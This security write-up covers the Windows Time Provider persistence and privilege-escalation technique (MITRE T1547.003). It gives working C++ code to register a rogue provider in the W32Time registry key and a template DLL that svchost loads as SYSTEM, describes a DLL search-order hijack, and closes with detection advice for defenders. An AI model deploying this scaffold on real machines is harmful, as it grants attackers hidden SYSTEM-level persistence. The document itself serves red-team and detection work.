Persistence and Privilege Escalation on Windows via Time Provider
This article demonstrates a persistence and/or privilege escalation technique documented as “Time Providers” T1547.003 in the MITRE ATT&CK [1] framework. The technique has been used by Sandworm APT as reported by ESET in [2], [3]. It has also been discussed in [4] and [5]. The privilege escalation allows an attacker to escalate from High integrity (Administrator) to System integrity (NT AUTHORITY\SYSTEM).
This write-up aims to assist Red Teams reproduce this technique in Simulated Attack engagements and demonstrate impact. It is useful from a DFIR perspective as it gives a little more context to investigators. What is more, it can be used in Purple Team Excercises to evaluate the readiness of a Security Operation Center (SOC) in potential attacks.
- Review of the technique
- Time Provider Registration Source Code
- Time Provider Template DLL
- Svchost potential DLL hijacking condition
- Detection Opportunities
- Tools
- References
Review of the technique
To perform this technique, the following are required:
- Registration of a Time Provider [6] in registry
- A Time Provider DLL that exports the functions TimeProvOpen, TimeProvClose and TimeProvCommand
The Time Provider DLL is loaded in the address of svchost.exe when the host boots or upon the w32time
service is restarted.
Based on the template code for the time provider (look further below), the following functions are executed when the Time Provider is loaded in the address space of svchost.exe (the output is from the SysInternals tool DebugView):
Time Provider Registration Source Code
The following code provides a template to register a time provider.
LSTATUS RegisterTimeProvider(WCHAR* lpData)
{
/*
WCHAR DllName[] = L"";
LSTATUS res = RegisterTimeProvider(DllName);
if (res != ERROR_SUCCESS)
{
::wprintf(L"[-] RegisterTimeProvider has failed\n");
}
*/
// lpData: DLL name
LSTATUS status = -1;
WCHAR lpSubKey[] = L"SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\TestTest";
HKEY phkResult = 0;
DWORD dwDisposition = 0;
status = ::RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
lpSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_CREATE_SUB_KEY,
NULL,
&phkResult,
&dwDisposition
);
if (status)
{
::wprintf(L"[-] RegCreateKeyExW has failed\n");
::RegCloseKey(phkResult);
return status;
}
WCHAR lpValueName[] = L"Driver";
status = ::RegSetKeyValueW(
HKEY_LOCAL_MACHINE,
lpSubKey,
lpValueName,
REG_SZ,
lpData,
wcslen(lpData) * 2 + 1
);
if (status)
{
::wprintf(L"[-] RegSetKeyValueW Driver has failed\n");
::RegCloseKey(phkResult);
return status;
}
WCHAR lpValueName1[] = L"Enabled";
DWORD lpData2 = 1;
status = ::RegSetKeyValueW(
HKEY_LOCAL_MACHINE,
lpSubKey,
lpValueName1,
REG_DWORD,
&lpData2,
sizeof(DWORD)
);
if (status)
{
::wprintf(L"[-] RegSetKeyValueW Enabled has failed\n");
::RegCloseKey(phkResult);
return status;
}
WCHAR lpValueName2[] = L"InputProvider";
status = ::RegSetKeyValueW(
HKEY_LOCAL_MACHINE,
lpSubKey,
lpValueName2,
REG_DWORD,
&lpData2,
sizeof(DWORD)
);
if (status)
{
::wprintf(L"[-] RegSetKeyValueW InputProvider has failedn");
::RegCloseKey(phkResult);
return status;
}
status = ::RegCloseKey(phkResult);
if (status)
{
::wprintf(L"[-] RegCloseKey has failed\n");
return status;
}
return ERROR_SUCCESS;
}
Time Provider Template DLL
Template code to create a Time Provider DLL is provided below. For debugging purposes, the function OutputDebugStringA is placed in key functions to act as a canary and show when each function is called.
#include <windows.h>
#include <stdio.h>
#define DllExport __declspec(dllexport)
typedef enum TimeSysInfo {
TSI_LastSyncTime,
TSI_ClockTickSize,
TSI_ClockPrecision,
TSI_CurrentTime,
TSI_PhaseOffset,
TSI_TickCount,
TSI_LeapFlags,
TSI_Stratum,
TSI_ReferenceIdentifier,
TSI_PollInterval,
TSI_RootDelay,
TSI_RootDispersion,
TSI_TSFlags,
TSI_SeriviceRole,
TSI_CurrentUtcOffset,
} TimeSysInfo;
typedef HRESULT(__stdcall GetTimeSysInfoFunc)(
IN TimeSysInfo eInfo,
OUT void* pvInfo
);
typedef HRESULT(__stdcall LogTimeProvEventFunc)(
IN WORD wType,
IN WCHAR* wszProvName,
IN WCHAR* wszMessage
);
typedef HRESULT(__stdcall AlertSamplesAvailFunc)(void);
typedef enum TimeProvState {
TPS_Running,
TPS_Error,
} TimeProvState;
typedef void(__stdcall SetProviderStatusInfoFreeFunc)(IN struct SetProviderStatusInfo* pspsi);
typedef struct SetProviderStatusInfo {
TimeProvState tpsCurrentState;
DWORD dwStratum;
LPWSTR wszProvName;
HANDLE hWaitEvent;
SetProviderStatusInfoFreeFunc* pfnFree;
HRESULT* pHr;
DWORD* pdwSysStratum;
} SetProviderStatusInfo;
typedef HRESULT(__stdcall SetProviderStatusFunc)(IN SetProviderStatusInfo* pspsi);
typedef struct TimeProvSysCallbacks {
DWORD dwSize;
GetTimeSysInfoFunc* pfnGetTimeSysInfo;
LogTimeProvEventFunc* pfnLogTimeProvEvent;
AlertSamplesAvailFunc* pfnAlertSamplesAvail;
SetProviderStatusFunc* pfnSetProviderStatus;
} TimeProvSysCallbacks;
typedef void* TimeProvHandle;
extern "C" DllExport HRESULT TimeProvOpen(
PWSTR wszName,
TimeProvSysCallbacks * pSysCallbacks,
TimeProvHandle * phTimeProv
)
{
// debug
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] TimeProvOpen was called");
::OutputDebugStringA(msgbuf);
return S_OK;
}
extern "C" DllExport HRESULT TimeProvClose(
PWSTR wszName,
TimeProvSysCallbacks* pSysCallbacks,
TimeProvHandle* phTimeProv
)
{
// debug
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] TimeProvClose was called");
::OutputDebugStringA(msgbuf);
return S_OK;
}
typedef enum TimeProvCmd {
TPC_TimeJumped,
TPC_UpdateConfig,
TPC_PollIntervalChanged,
TPC_GetSamples,
TPC_NetTopoChange,
TPC_Query,
TPC_Shutdown,
TPC_GetMetaDataSamples
} TimeProvCmd;
typedef void* TimeProvArgs;
extern "C" DllExport HRESULT TimeProvCommand(
TimeProvHandle hTimeProv,
TimeProvCmd eCmd,
TimeProvArgs pvArgs
)
{
// debug
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] TimeProvCommand was called");
::OutputDebugStringA(msgbuf);
return S_OK;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CHAR msgbuf[50];
sprintf_s(msgbuf, 50, "[+] DLL_PROCESS_ATTACH");
::OutputDebugStringA(msgbuf);
break;
case DLL_THREAD_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Svchost potential DLL hijacking condition
If the DLL that implements the time provider is not located in C:\Windows\System32, the Windows Loader will apply the DLL search order [7] to locate and load the DLL in the address space of svchost.
The following screenshot from ProcMon shows what happens under the hood when the time provider DLL does not exist in the system. The Windows Loader searches the paths consecutively:
In case a time provider has been placed in a path lower in the search hierarchy, this give the opportunity to drop a rogue time provider at a path higher in the hierarchy and eventually get the latter load into svchost.
Detection Opportunities
Events to monitor that could potentially indicate suspicious activity are:
- registry keys created in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\
An example of detection capabilities, is what Elastic offers regarding Time Providers mentioned in [8].
Additionally, for those familiar with VirusTotal Enterprise platform, the following search modifiers [9] will likely return malware Time Providers:
type:pedll exports:”TimeProvOpen” positives:30+
The above query looks for the exported function TimeProvOpen in DLL files that have 30 or more detections by antivirus engines. As mentioned earlier, there are three functions that should be exported to successfully implement this technique and therefore additional function names can be used in the search.
Tools
- VisualStudio
- SysInternals DebugView
- SysInternals ProcMon
References
[1] https://attack.mitre.org/techniques/T1547/003/
[2] https://vblocalhost.com/conference/presentations/sandworm-reading-the-indictment-between-the-lines/
[3] https://youtu.be/IN4Wn9LcO9M
[4] https://pentestlab.blog/2019/10/22/persistence-time-providers/
[5] https://www.ired.team/offensive-security/persistence/t1209-hijacking-time-providers
[6] https://docs.microsoft.com/en-gb/windows/win32/sysinfo/creating-a-time-provider
[7] https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
[8] https://www.elastic.co/guide/en/security/current/potential-persistence-via-time-provider-modification.html
[9] https://support.virustotal.com/hc/en-us/articles/360001385897-File-search-modifiers
tags: #persistence